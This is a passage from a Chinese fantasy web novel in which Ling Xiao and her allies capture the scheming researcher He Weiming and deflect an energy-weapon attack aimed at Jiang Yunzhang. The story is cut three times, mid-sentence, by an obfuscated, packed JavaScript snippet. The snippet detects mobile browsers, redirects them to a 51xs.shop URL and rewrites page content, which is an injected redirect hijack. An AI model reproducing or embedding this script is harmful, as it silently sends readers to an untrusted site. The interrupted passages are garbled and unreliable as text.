“好的，我会继续完善这个检测仪的。”甄令潇不喜欢哥哥的手和凌霄的手交叠在一起的模样。甄令满由于经常战斗造就的茧使得这双手看起来指节分明骨骼粗大，与积紫城继承人翻书查阅资料的手形成了鲜明的对比。 明明应该是凌霄安慰自己表示信任自己的画面，偏偏中途不知为何穿插了一个愚蠢的甄令满，一下子破坏了画面的和谐程度。不过想到凌霄对自己的信任肯定比对哥哥的信任程度更高，甄令潇勉强原谅了现在的画面。 凌霄完全没能注意到甄令潇正在观察自己的手，她对冯舞清的最终底牌十分在意，总觉得与对方失踪的眼球有着莫名的联系。可她暂时没有能够佐证自己直觉的证据，只能压下心头的疑惑继续观察冯舞清的状态。 只要提前有了防备，冯舞清后续的举动应该完全影响不了江云章的性命。 凌霄从甄令潇手中接过对方挑选好的武器，漫不经心摸了摸发射器的扳机。 正好何伟铭也快到了，马上就会为这场闹剧画下最终的句号。到时候不管冯舞清还有什么打算，统统破坏掉就好了。 她在心里终究还是忍不住叹了口气。 口蜜腹剑，如同一条毒蛇般等待着他们露出破绽，惦记着江云章性命想要将其杀害的冯舞清，到底不是她所熟悉的那个冯舞清。 她们早就没有了能够再次并肩作战的可能性。 道不同，不相为谋。 88. 087 凌霄没有想到比起收拾何伟铭，她先一步看到了刘应水被刀赤城与云苍城的人合力彻查。暂时被吊销了行医资格证的刘应水面色坦荡，表露出了一副自己行事光明磊落根本不怕调查的模样。 他甚至坐在审讯室里也依旧游刃有余，就像隔着铁窗正在与他对话的警员是来向他寻求帮助的病人一般，镇定自若侃侃而谈。即便可能由于医疗事故撤任移翠院院长，依旧还是移翠城城主的中年男子一脸坦然：“我当然不会做出任何违法犯罪的行为。医生对我来说便是天职，我很享受为我的病人们除去病痛的过程，自然不会做出违背医德的事情。” “我不会厚着脸皮非要辩解何伟铭所做的一切都与我无关，到底还是我治下不严识人不清，才会让这样一个人品卑劣的人成为移翠院的副院长，甚至可能对我们魂书族赖以生存的海水区做出无法挽回的事情。我也深表痛心。” 气质温和的中年男子似乎同样为同事的选择感到痛心疾首，说到最后微微皱起了眉头：“这都是我的判断失误……做出这种事情，我实在愧对为我们留下了巨大研究贡献的林语莲女士还有为了魂书族鞠躬尽瘁的历任移翠院院长。 他突然抬头，那双在昏暗审讯室里也依旧反射出纯粹光芒的翠绿色眼瞳成为了唯一的亮色，表现出一种完全不符合他年龄的氤氲生机与违和感：“警官先生，我愿意积极配合调查。请你们务必尽快将何伟铭抓捕归案。放着这样包藏祸心的人在墨水五区，实在是令人感到分外不安。我很担心他做出更多对整个魂书族都会造成危害的坏事。” 光是听刘应水这一番说辞，谁能想到他是那个默认了一切并在暗中提供相应帮助的主谋之一？若非凌霄对刘应水的行事作风深刻了解，知晓一些可能潜藏的细节与证据，并将其通知了卧底的叶青山与江云天，说不定刘应水根本就不会暂时停职，等到何伟铭的判决书下来开始执行惩罚都能一直稳坐在移翠院院长的宝座上。 不过凌霄十分信任江云天的能力，将剩下的博弈放心交给了想要为弟弟报仇的她，以及与移翠院素有旧仇的云苍城。只要云苍城参战，就算刘应水从头到尾什么都没做，云苍城都能让他脱一层皮下来。 凌霄不得不感叹了一句刘应水的狡诈。他向有关部门提交的证词真真假假，大部分都能称得上是真话，比如十分喜爱医生这个职业认为医生是自己的天职，想要救助更多病人。 魂书族的疾病治愈模式现在大多是直接作用在魂书本体上，作为医生的刘应水也因此接触与翻阅过许多病人们的魂书。这从另一种层面上可以理解为掌控了旁人的命运与性命，绝对让刘应水这个自命不凡的家伙十分沉迷，并认定自己果然高人一等，拥有决定旁人性命的能力。 凌霄认为这也是江云章身上关于完美生命体研究多年来进步缓慢的缘由。自诩世界唯一主角的刘应水可不会相信什么完美生命体的存在，顶多只会认为江云章是自己权势更进一步的武器。恐怕比起完美生命体，他更可惜江云章让自己失去了能够创造利益的工具人林语莲。 认定世界上不会有比自己更加优秀生命体存在的刘应水估计从一开始就不看好何伟铭的研究，但鉴于江云章相关研究能够解析血液并加强与刀赤城之间的合作，刘应水肯定还是为何伟铭大开方便之门，默认了对方许多小动作。 而现在，知晓何伟铭最终决策的刘应水已经提前规划好了江云章的死亡。只要将全部问题都推到何伟铭身上，再有冯舞清为他收尾，等事情结束刘应水便又能表露出一副被蒙在鼓里什么都不知情的无辜受害者模样了。 刘应水的计划符合逻辑，只可惜还没有开始波动算盘，算盘就已经被凌霄大刀阔斧给拆了。 她自然不会放过任何一个移翠院的走狗。只等着将蠢蠢欲动的他们一网打尽。 因此何伟铭踏入墨水五区的地界时，他带来的手下已经在他不清楚的几股势力围剿下所剩无几。然而对完美生命体的执念让他生出了绝不退缩的妄念，即便自己不善战斗，也依旧踉踉跄跄突破重围，将那些前来埋伏的人们甩在了身后。 他没有时间思考自己现在狼狈的脚步是否有些蹊跷，那些明明战斗能力高强训练有素的袭击者们怎么可能放过他这样手无缚鸡之力的弱者。墨水五区浓郁的能量环境让他的心情高涨，甚至情绪激动到颤抖着手调出了林语莲的研究笔记，从中找到了分外熟悉的数字。 他打起精神，带着自己七零八落的手下，激动万分开始搜寻江云章的踪迹。 墨水五区的能量场吞噬了大部分的声音，只剩下魂书族造成的痕迹与振动依旧还在运转。何伟铭扶着自己被打碎了一边镜片的眼镜，从植物的分布以及具现化的能量运转中很快推断出了魂书族来过的痕迹。 他习惯性穿上的白大褂上依旧残留着他肩膀喷出的金色灵墨和手下受伤时伤口飞溅而出的灵墨。使得原本纯白无暇的外衣此刻斑驳异常，和他被打碎的眼镜和凌乱的头发一起，将他从一丝不苟的精英医生变作了狼狈不堪的难民。 不过何伟铭丝毫不受影响。他们一边向着江云章大致的方向赶去，沿途能够指示方向的证据也越来越多。何伟铭精神大震，甚至还来得及鼓励了陪在自己身边的属下几句：“不用担心！我们马上就能够如愿以偿见证奇迹了！在此之前的所有挫折与伤痛都是见证奇迹所应付的代价……” “涤墨教的新教规怕不是你写的？”突如其来的陌生女声吓了行动不方便的几人一大跳。只是还没等他们判断出声音的方位，伴随着尖锐声响投掷而来的长枪就已经将他们反击的余地彻底钉死。 跟在长枪身后到来的武器同样不甘落后，用比他们经历过的几波袭击更加凌厉的攻击截断了剩下几人的所有反抗。只一个呼吸之间，何伟铭身边的所有人便已经尽数倒下，七零八落躺在地上只剩哀鸣之声。 凌霄站在树梢上，居高临下俯视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137624|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一身狼狈的何伟铭：“不知情的还以为你这根本不是孤立下属，而是在传教呢。” 何伟铭作为非战斗人员，反应能力自然跟不上几位收到刀赤城墨水加持的专业人士。但他还是依旧保持住了自己的冷静，第一时间从口袋里掏出了一把怪模怪样的发射器并将其瞄准了坐在湖边的江云章。 他能够成为林语莲的继任，自然拥有相应的智商。在清楚自己和敌人实力悬殊的情况下第一时间锁定了敌人全部的弱点：“我想我们并没有敌对的理由，这样不分青红皂白直接动手的作风有些太不讲道理了吧？” “我也不需要和你讲道理。”凌霄跳下树梢，轻轻落在了甄令潇身边。新合作伙伴手上任劳任怨运行着的海水探测仪显示何伟铭手中的发射器里并没有海水能量反应。反而是手腕上与另一边的大衣口袋中检测出了海水残留。 何伟铭保持着射击举动，因为凌霄的动作，从而注意到了甄令潇：“甄令满？你什么时候……算了，这都不是重点。” 他的目光顺着自己手中的发射器，笔直地对上了江云章的身影：“云章，很高兴在这里见到你。没有想到有一天我们会在你最初的诞生地重逢，我想这也是你母亲冥冥之中的授意吧。” 他显然十分清楚如何言语能够最大程度调动刀赤城江云章的心情，更是作为在场唯一一个万分熟悉林语莲的人，牢牢掌握着与其相关的信息。 倘若聆听着这样感叹的人真是对自己的归处充满疑虑，向往也惧怕着自己生母的江云章，恐怕真的会为何伟铭的言行产生动摇。 只可惜来自二十一世纪现代社会的江云章只希望沾了林语莲的光才成为副院长的何伟铭赶紧下线。最好去死。 鉴于此人进行非法人体实验还妄图投射生物毒素危害公共环境，以及谋杀未遂，相信魂书族的法案也会给这样罪无可恕的家伙判处死刑。自己的言语并不算恶毒，只是让何伟铭恶有恶报去往应有的结局而已。 为了能让何伟铭留下更多证据，江云章勉强自己陪着恶心的家伙演戏：“你还有脸在这里提及我的母亲？” “当然，她毕竟是你的母亲，也是我的同事，更是我在研究途中的前辈。”何伟铭温声说道，“是她向我指明了一条前进的道路。可以说没有她，就没有我的现在。” “但你想要杀你恩人的儿子！你也配提她的名字？”江云章学着林云章阴恻恻的口吻，语气里包含着怨恨之情。 真正的同位体尴尬到浑身发抖。觉得他演得太过。 然而没有接收到凌霄暂停信号的江云章认为自己演得十分精彩。 何伟铭藏在眼镜下的绿眸闪过一丝精光。他对自己轻而易举就能造成江云章剧烈的情绪波动感到很是满意。只要最关键的地方尚有动摇，他就能够撬动这个看似无解的局面。 就算甄令满叛变又何妨？ 本就是和那些下属一样的弃子，根本无需在意。 89. 088 “我当然配。”何伟铭骄傲地扬起了自己的头颅，这是他一直以来坚定不移的信念，因此也表露出了绝对的自信心，“是我完成了林语莲梦寐以求的研究，也是我即将抵达林语莲的遗愿。倘若没有我孜孜不倦的付出，林语莲的研究又怎么会得到现在的地位？” “不过是窃取了我母亲成果的小偷，你倒是有脸在这里和我争执。”江云章嗤笑一声，毫不留情往何伟铭最在意的地方进攻，“无论我最终有怎样的结局，我都烙印着我母亲的姓名，与你这种中途鸠占鹊巢的小偷毫无关系。” 何伟铭用包容而和蔼的目光注视着江云章，仿佛在看一个无理取闹的幼童：“云章，你不是研究员，你不懂。” 他轻描淡写将有理有据的反驳定义为了夏虫不可语冰的愚昧：“你不懂真理与现实对追逐着规则的我们而言究竟有多么巨大的吸引力。我们如同飞蛾扑火一般燃烧了自己全部的价值，只为了自己的残骸能够在真理之路上匍匐前进哪怕一步，只为了靠近那个真理哪怕一毫米。” “你不明白我们为了今天准备了多久，为了魂书族的未来付出了多少。你的母亲毫不犹豫贡献出了自己的生命，才留下了你这样无可复制的奇迹。”他轻轻地叹了一口气，仿佛在回顾那些历历在目的辛苦，“你不明白，但我并不会怪你。毕竟你还太年轻，对我们糟糕的现状还没有完整的认知。” “冠冕堂皇的话说了那么多，不过是想让我去死。”江云章揣摩着同位体的心情，维持了自己的攻击性，“你那些大话你自己信吗！你敢说你没有嫉妒过我母亲的名号、没有嫉妒过我母亲的成就吗！？你敢发誓你在我身上实施的研究从未有过一丝一毫的私心吗！？” “所以说你还是太年轻了。”何伟铭用作为长辈的角度说教道，“那些浮名在真相面前根本不值一提。我当然嫉妒过你的母亲，但我从来只是嫉妒她离真理那么接近而已。” 他仍然没有放弃将江云章带到海水区的想法，因为倘若江云章自身动摇，江家的旁人便没有理由阻拦这样为了魂书族研究捐躯的光荣举动。他对完整生命体几乎势在必得，按照刘应水的吩咐只留下江云章的尸体实在是有些太不划算。 他凝望着江云章的眼眸里盛满了长辈对晚辈的慈爱，在纯绿色的眼眸里浮光粼粼。这份感情确确实实属于真实，但何伟铭将其使用的方向配不上感情二字。 “和我一起走吧，云章。”何伟铭温柔地向自己看着长大的少年发出了邀请，“我不赞同刘院长的吩咐，才会亲自来到这里想要拯救你啊！海水区代表着一个崭新的未来，即便希望再怎么渺小，也是我们至今为止离完整生命体最近的一步啊！只要你迈出这一步，我们移翠院几百年来的勤苦努力便都能得到相应的回报！我实在是不愿意把墨水五区变成你的坟墓啊！” “拜托了，别逼着我对着自己心爱的孩子动手……”何伟铭祈求道。 “但是你可以让我自己同意然后动手是吧？”江云章根本就不会被何伟铭道德绑架，直击要害，“说到底就是想要我的尸体，遮遮掩掩故作深情，真是好笑。” 要不是他们需要何伟铭留下更多证据提供给调查人员，江云章根本懒得和这样虚伪的家伙虚与委蛇。 何伟铭深深地叹了口气：“你怎么还是不明白呢？以墨水五区的能量场运转，只要你周围两米之内出现任何完整的海水，你就再也没有办法这样精力充足与我吵架了。我是为了你好。” “别骗人了，都到了这一步还有什么好装的？你口口声声说着为了魂书族的未来，怎么没见你自己付出性命？” “我亲自来到了墨水五区，难道还不能算得上诚意满满吗？”何伟铭疑惑地问道，“以研究员的身份亲自涉险，想必已经足够表示我的诚意了。” “你对自己的要求可真低。”凌霄忍不住吐槽道，“林语莲女士可是在墨水五区独自研究了那么久，你现在带着一堆下属走个过场，就能算是付出良多了？” 何伟铭最讨厌别人将自己与林语莲做比较，今天三番两次听闻林语莲的名号，耐心实际上已经到达了尽头：“我与林语莲女士那样的天才自然不同，也与云章这样的奇迹不同。他们都是万里挑一的奇才，我这样的普通人哪怕再牺牲上万个，都比不上他们一个。所以我认为不需要再额外造成不必要的牺牲了。” “懂了，意思就是你怕死呗。”江云章实在按耐不住，冲着何伟铭翻了个白眼，“总而言之你还是打消让我去海水区的念头吧。我没有愚蠢到自寻死路。” “你明明是你母亲的孩子，为何如此冥顽不灵？”何伟铭遗憾地调整了一下手中的发射器，“我知道你也很向往海水区，那么死在海水区岂不是比死在墨水区要好得多？” “如果自愿去死在你眼里就是聪明人的代表的话，那我宁愿自己不聪明。”江云章后退一步，彻底浸入了湖水之中，“呵呵，原来你也知道你给出来的选项只是让我自己选择死亡地点啊。” “总归是要死的，给出了选项已经是我看在与你之间情分的面上了。”何伟铭的语气里充满了遗憾，“刘院长说你必然不可能活着进入海水区，是我力排众议，给予了你一个崭新的选择。” “看来你们确实很早之前就想着要我死了啊。”江云章立马乘胜追击，“刘应水和我母亲都比你聪明得多。” “你这样的异端本来就不应该活着。”何伟铭见江云章后退，以为他是心生退意，意识到了自己的绝境。早在注意到几人将临时根据地选在湖水旁时何伟铭就已经开始在心中嘲笑这些年轻的江家子弟做事不动脑子，那一片波光粼粼的湖水立刻成为了能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149420|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加速江云章变作尸体的道具。 由于已经认定自己胜券在握，何伟铭自然不需要再装作什么知书达理一心为真理的虚假模样。开始毫无顾忌地抒发自己的真实想法。 “就算是为了魂书族的稳定性，像你这样携带着血液的不定因素也不应该混入人群。我们为了你的生存二十余年来煞费苦心，到头来你就是这样回报我们的？” “你是把刀赤城的贡献给吃了吗？要不是我母亲选择了与刀赤城合作，恐怕在她走了以后你们第一时间就会让我直接死亡吧！”江云章根本就不相信移翠院的这几位高层拥有人性。 “那也是我们在为魂书族的稳定做贡献。你放心，我们不会浪费你的全部，所有尸体的归属权都已经经过仔细商讨，就算是刀赤城也能够得到相应的一份。江城主作为少见的聪明人，一定不会拒绝我们提出的要求。”何伟铭义正言辞，“我们移翠院是在为了魂书族整体做贡献。” “你倒是终于承认你和刘应水就是故意要我去死了。”江云章已经开始对这个油盐不进的伪善者感到不耐烦。 “这是为了真理所必要的牺牲。这个世界已经灵肉分离太久的时间，甚至魂书族的人形幻象都已经开始出现了加速衰败的糟糕现象。为了魂书族和世界的未来，我们都需要一个完整的新生命体来带领大家找到崭新的发展途径。这样光荣的使命现在由你来承担，难道你还有拒绝的余地吗？” 何伟铭此刻打量江云章的眼神就像在思考该如何肢解他一般，像是在观察一具没有生命的尸体：“放心，我会让他们将你的名字写在研究报告第一页上的。到时候正好与你的母亲摆在一起，想来也是让你们母子在另一层面殊途同归了。” “谁稀罕那些无聊的名利。除了你之外没有人在意你副院长的名头和宝座。就算是刘应水也只在意自己的医生执照吧。”江云章在确保自己已经抵达湖水最安全的范围以后停下了脚步，“最功利的就只有你而已。” “胡说！我才没有沉迷功利！”何伟铭的情绪开始剧烈动摇，“我为了抵达真理已经牺牲了那么多东西，甚至连如此看重的你都能毫不犹豫舍弃，我才是为了真理付出了一切的人！我才是最纯粹的人！只有我一心一意关注着魂书族的未来默默付出了那么多年！连林语莲都将私利带入了实验！在这方面连她都不如我纯粹！” “哦。”江云章优哉游哉回了一句，“那你是靠着什么当上副院长的？我母亲活着的时候可没有这么显著的头衔……” 何伟铭的耐心彻底耗尽，他不再去理会江云章的回应，手中的发射器瞄准了位于湖中心的年轻男子，连续扣动了扳机。 与此同时，微弱的蓝光也在他手腕处持续闪动，共同向着江云章的方向袭去。 “这不怪我，这都是你自找的！” 90. 089 早已经蓄势待发的凌霄直接一脚踢歪了何伟铭瞄准着江云章的手臂。以为自己计谋得逞的何伟铭没有想过防御，再加上本就没有什么反抗能力，被凌霄生风的一拳直接撞碎了另一边的镜片。还没等他因为惯性踉踉跄跄向后倒地，追加而来的最后一脚就已经将他彻底踩在了地上。 忍耐多时的江冥蝉立刻将何伟铭捆了起来，并顺着凌霄的提示取出了何伟铭大衣口袋里的海水容器。 瞬间被打倒在地失去武器的何伟铭根本就没有注意接二连三发生的事情，他只是死死盯着江云章的方向，想要知道自己的攻击究竟有没有奏效。由于距离问题再加上他蹩脚的射击能力，他故意在扣下扳机的时候将发射器中的海水化液体朝下对准了目标更加庞大的湖水。而藏在他手腕处真正的海水发射器才是唯一向着江云章而去的重点。 然而他的希望却落了空。江云章完好无损待在湖水中，根本没有出现他们计划中对海水的任何严重排斥反应。 何伟铭不着痕迹看了眼冯舞清，随后流露出了浓烈的不甘之情：“可恶！竟然没能对你造成任何影响！” 江云章坐在原地好整以暇目睹了江云光处理海水的全过程。这样保护自己身后人不受飞溅液体影响的举动，江云光早在与血兽战斗之时得到了充分的锻炼。只不过这一次她需要抵挡的液体是海水，而被她护在身后的不再是基本没有战斗能力的队友，而是曾经和自己并肩作战的哥哥。 “就凭你的能力？我要是被你这种小人带入了地狱，那我在刀赤城长大的这么长时间可算是白活了一趟。”江云章丝毫没有将何伟铭的攻击放在眼里。原本对方就只是被凌霄的激将法引来墨水五区受罚的家伙，根本不足为虑。他们自然有从何伟铭手里全身而退的能力。现在唯一需要防备的不过是刘应水的后手而已。 毕竟刘应水才是那个最终一锤定音，决定了江云章绝对不可能在这场混乱之后活下去的那个人。对方既然已经有了莫名的笃定，便一定有即便何伟铭不插手也会置江云章于死地的安排。 “别以为你就能讨到好！像你这样的定时炸弹，赶紧去死才是对全魂书族最好的安排！”何伟铭演戏实在是有些不走心。由于仍有不知名的依仗，到底没办法装作二十多年夙愿一朝破碎的悲壮感，除了望着江云章的视线里写满了你一定会死的诅咒之外，连台词都听上去漏洞百出。 凌霄不用看就知道冯舞清现在依旧是一副此时与我无关、优哉游哉看戏的表情。刘应水安排下来的人实在是太过沉得住气，即便何伟铭被控制也依旧没有动手。 一直在调试自己海水能量探测器的甄令潇偷偷凑近了凌霄的耳边：“她身上最明显的波动在胸腔的魂书本体处。可能还是要防备着她的书页武器。” 凌霄抬头与江云光对视一眼，分配好了彼此的安排。 一旁的何伟铭即便被捆在树上，也依旧维持着自己不甘心的表演：“江冥蝉，你这是助纣为虐！你明明也很清楚江云章的血液要是在人类居住地蔓延，将会造成多么可怕的影响！他本就是不应该活下去的那个异常！” “哦。我不知道。我只知道若是按照你们的安排将我弟弟带到海水区，那么海水区里的所有魂书族就会先一步活不下去了。”江冥蝉的眼神里饱含杀意。 “这是必要的牺牲！”何伟铭振振有词，“海水区无用的灵魂也应该在血液的助力下开始完成自己的进化！倘若让海水区的灵魂们自顾自轮回生长，这个世界就算过了几千万年都依旧无法重现当年完整生命体的辉煌！” “那就不重现。”凌霄已经对何伟铭的长篇大论失去了耐心，“毕竟魂书族拥有不少像你和刘应水这样自私自利的家伙。若是你们这样的家伙进化成了完整生命体，恐怕这个世界也是时候该毁灭了。” 何伟铭因为凌霄刺耳的言论，终于将注意力从自己心心念念的实验体身上转移，看向了凌霄。他摇头甩掉了自己彻底破碎的眼镜，用莫名的眼神注视着积紫城继承人：“积紫城收集了从魂书族诞生开始所有文明的发展途径，我不相信你们这些热衷于让魂书族再度掌控大陆的人能够拒绝摆在眼前的机遇。” “我以为积紫城的城主大人早就给过你们答案？”凌霄与何伟铭的地位再次回到了居高临下的俯视，“魂书族从始至终都走在应该行走的道路上，无论毁灭还是延续，都是我们依靠自己努力挣来的道路。海水与墨水泛滥之时，正是因为魂书族宁愿改变自己的生体构造，也决不放弃自己任何一位族群成员求生的希望，才会在天地灾祸之间得到渡灵树的出手相助。” “为了族人的存活，我们的祖先放弃了能够放弃的一切，才为自己赢得了墨水与海水之间唯一的生路。如今你为了自己的私欲牺牲旁人，倒是说得光明正大。” “那才不是私欲！”何伟铭对自己的名声分外重视，立马反驳道，“那是魂书族的未来！” 凌霄故意站在了能照射到阳光的位置，按照自己一贯以来对冯舞清审美的了解，言语清楚道破了何伟铭心中的私欲：“倘若真为了魂书族的未来，有关血液与墨水区的未来你们又为何瞒着广大群众那么长的时间？不论是云苍城还是积紫城都有能力高超的研究员，我不相信众人的努力还比不过你们一个移翠院的成绩。就算只局限于移翠院，也没见你们对年轻有才华的研究员多有提拔，连叶青山也被你们拒之门外。” “倒不如说，林语莲只花了几年就走完的路，你们二十多年来究竟在研究些什么？” 凌霄的身影混合着阳光变得分外刺眼。被说中了心思的何伟铭无力反驳，支支吾吾半天也找不到能够回应的措辞。 凌霄早就已经决定了对方的处置问题：“不过你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156952|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心，我知道你嫉妒林语莲女士的成就，现在你也有机会达到她的高度了。我们已经为你在墨水五区准备了良好的生活环境，你只要安心在这里等待着自己成为林语莲女士二号就行了。” “不！”何伟铭立刻厉声拒绝，“你没有权利对我进行私刑！法律规定墨水五区所有长时间的研究都需要提交报告，你不能违法将我遗弃在墨水五区！” “你进入墨水五区的那份申请不是已经足够了吗？”凌霄微微一笑，“那还是你自己签字自己盖章，用上特权最速通过的申请，没拿到成果之前，我想你都不需要回去了。” 根本不敢在墨水五区久待的何伟铭已经开始自乱阵脚。由于刘应水给出的最终底牌还没有使用，他不得不慌乱地试图在言语中暗示冯舞清：“我是移翠院的副院长，我有权利在关键时刻回到移翠院执掌大局！江云章的后续也只有交给我才能保证刀赤城和积紫城的利益！” 他贪生怕死，生怕被留在墨水五区的狼狈语气实在是过于滑稽，早已知晓她真面目的凌霄毫不犹豫拒绝了他的全部要求：“移翠院早就需要一些新鲜血液了，你还是留在墨水五区专心做你的实验比较好。” 听完了一整出戏的冯舞清心情大好，已经开始明目张胆嘲笑慌乱的何伟铭：“哈哈哈哈，副院长，你好不容易能够抵达林语莲女士的成就了，干嘛这么不情愿？” “冯舞清！”何伟铭带着怒气喊出了对方的名字，“你还在等什么！” “我当然——还是在等着看好戏了。” 冯舞清的脸上挂着愉快的笑意。她仍然被困在树上不能动弹，然而随着她话语声刚落，从她身后骤然袭向江云章的两个黑影彻底推翻了她看似安安分分的结论。 早已经戒备多时的江云光毫不犹豫用自己的长剑劈开了向着江云章方向袭来的暗器，然而书页武器在砍到理应拥有实体的的黑影时，却没有反馈出相应的触感。江云光的长剑直接挥空，饶是她反应再快，也依旧没能阻挡这突如其来的暗器袭击。 “你就应该早点动手的！”何伟铭依旧抱怨道，“早知道他们的目的是将我困在墨水五区，我绝对不会亲自来来这个破地方！刘院长明明给了你这么厉害的杀手锏，你就不能在一开始直接干掉江云章吗！？害得我白白受罪！” 虽然依言拿出了自己的杀手锏，冯舞清却没有听从何伟铭命令的打算。她原本正在享受自己暗器造成的波澜，听到何伟铭的发言之后，用自己空洞的眼眶看向了不知所谓的家伙：“你说对了，我本来就是来看戏的，自然是要等到戏剧发展到最高潮，欣赏完毕才好有自己的动作。” “可惜有的人天生就是讨嫌，就连演起人人拍手称快的戏份都这么无趣。”冯舞清的语气里再没有什么情绪波动，冰冷异常，“你还是留在墨水五区等死比较符合你的角色特征。” 91. 090 书页武器无法攻击到不明物体的本体只是令江云光惊讶了一瞬，早就在凌霄提醒之下做足了准备的她立刻反手从自己的袖中掏出了经由甄令潇加工过的匕首，紧随着自己右手已经舞出的剑光，劈开了袭向湖水的物体。 端坐在湖水中央的江云章已经开始被同位体在心头的怒骂所折磨，然而在凌霄暗示之前他绝对不会改变自己的位置。因此面对袭击也依旧是不动如山镇定自若的模样。 江冥蝉在确保何伟铭没有反击余地之后便即转身去协助妹妹。凌霄已经在这一瞬分析出了冯舞清暗器的性质，当即出声提醒道：“别碰到那两个东西！” 如同血兽般轮廓模糊隐隐约约还泛着些许虹光的影子明显正沿着墨水五区的能量运转路线运行，并在不知名的情况下犹如吸收了空气中的能量一般，在自己的运行轨迹后留下两边带着金色波纹的空白。就如同雪地中越滚越大的雪球，在金丝缠绕能量交错影响的环境中留下了鲜明的痕迹。 江家兄妹所持杀伤力最大的书页武器无法对黑影造成伤害，而普通利器更是仅能改变其运转轨迹。黑影比起拥有实体能够拘束的物品，更像是单纯的能量体。再加上黑影随着时间的流逝，吸收的能量在其中蠢蠢欲动，更是让人不敢拖延战斗时间。 冯舞清原本还在嘲笑何伟铭的鲜活表情此刻已经变作了苍白，凌霄与那双空洞的眼眶相对，便瞬间意识到了袭击江云章的两道黑影究竟是什么。 她深吸一口气，借力起跳，顾不上甄令潇脱口而出的劝阻，下一秒便凭空出现在了江云光身前。被匕首切断能量轨迹导致反弹回去的黑影绕了一圈后再度袭来，凌霄抬手将其中一个稳稳笼入掌心，在江云光的惊呼下用左手中的匕首砸向江冥蝉应对的黑影。投掷匕首的速度恰到好处改变了原本理应撞向江冥蝉的轨道，使得第二枚黑影也成功被凌霄夹在了两指之间。 “凌霄！你的手没事吧！”江云光急忙走进几步，焦急地打量凌霄此时的情况。 她与江冥蝉对墨水五区的环境异常熟悉，凌霄提醒他们不要让皮肤触碰到黑影之后，便迅速反应过来了这样混杂的能量体肯定能够对整体的能量平衡造成影响，从而引发他们身体的海墨互斥反应。凌霄此刻亲自涉险的举动让她分外担心。 “无妨。”凌霄没有再看自己手里仿佛正在发烫的能量体，“我出手必然意味着我有了百分百的把握。你把血兽的血涂满储物盒，就能将这个东西拘束起来了。” “交给我吧。”江云章连忙应道，把拘束在湖里的血兽捞了出来开始放血。 自己的杀手锏竟然这样迅速退场，最为吃惊的自然属此刻额头已经冒出冷汗的冯舞清。无论是耳旁感受到的交谈还是传递过来的感官，都在告诉她凌霄已经成功阻止了她放出来的能量肆虐：“可惜了。我只想要江云章的性命，可没想要你的性命。” 对刘应水能力分外信任的何伟铭暂时遗忘了自己刚才从冯舞清嘴里听到的嘲讽，再次为己方占据上风而流露出了贪婪的神色：“积紫墨水加成的人魂灵共振互斥而死的样子我倒确实没有见过，不知道会不会化为一滩紫水，也算是不枉此行了。” 然而他的打算注定了要落空了。急急忙忙赶来为凌霄检查身体状态的人反反复复检查了几遍，都没能从凌霄身上找到任何异常情况。这也导致唯一拥有正常视觉的何伟铭逐渐露出了不敢置信的神色：“这怎么可能！就算你现在是混色状态，像你这样没有溢墨症诊察记录的人怎么可能在墨水五区里皮肤接触了魂灵海水依旧能够安然无恙！” “喂！”他用怀疑的眼光打量冯舞清，“你不会是因为被捆着所以放错了东西吧？”他倒是没有怀疑过冯舞清临时转变阵营，因为他很清楚此刻双目失明失去眼球的冯舞清付出了巨大的代价，对方必然不可能让自己的努力最终变成白费一场。 “我的暗器没有任何问题。”冯舞清冰冷地强调着，再次看向凌霄的表情已经染上了难以言喻的复杂。作为亲自出手的本人，没有人比她更清楚自己所使用的杀手锏究竟会造成怎样的杀伤力。为了使得江云章在接触后能够由于海水能量动乱直接死亡，暗器的加工可谓是困难重重复杂不已，经历了许久才成为了能够置对方于死地的最终计划。 “确实没有任何问题，只可惜对我而言并不起作用罢了。”凌霄抬头望着冯舞清头顶的树叶，不愿意直视那张拥有缺陷的脸庞，“我与凝海有些许相似，灵墨能量正正好卡在凝海刻度的底线上，现在又分散了墨水成为了混色，当然不可能因为这种脆弱的外界灵墨波动打破身体的平衡。” 本来人形幻象能够承担的能量就有限度，不论是血液还是灵墨全部都一样，再加上墨水五区过于浓厚的能量环境。直接导致了凌霄手中的高浓度海水能量体只要接触到人形幻象就会立刻造成无法承担的负担，从能量波动迅速变成海墨平衡失衡，最后变作海墨互斥危及生命。 然而凌霄的降临导致了积紫城继承人现在的身体中拥有两个灵魂，从而使得人形幻象的承担上限也随之拔高，不论是血液还是灵墨统统不惧。单纯的皮肤接触能够对凌霄造成的影响可以说是微乎其微小得可怜。 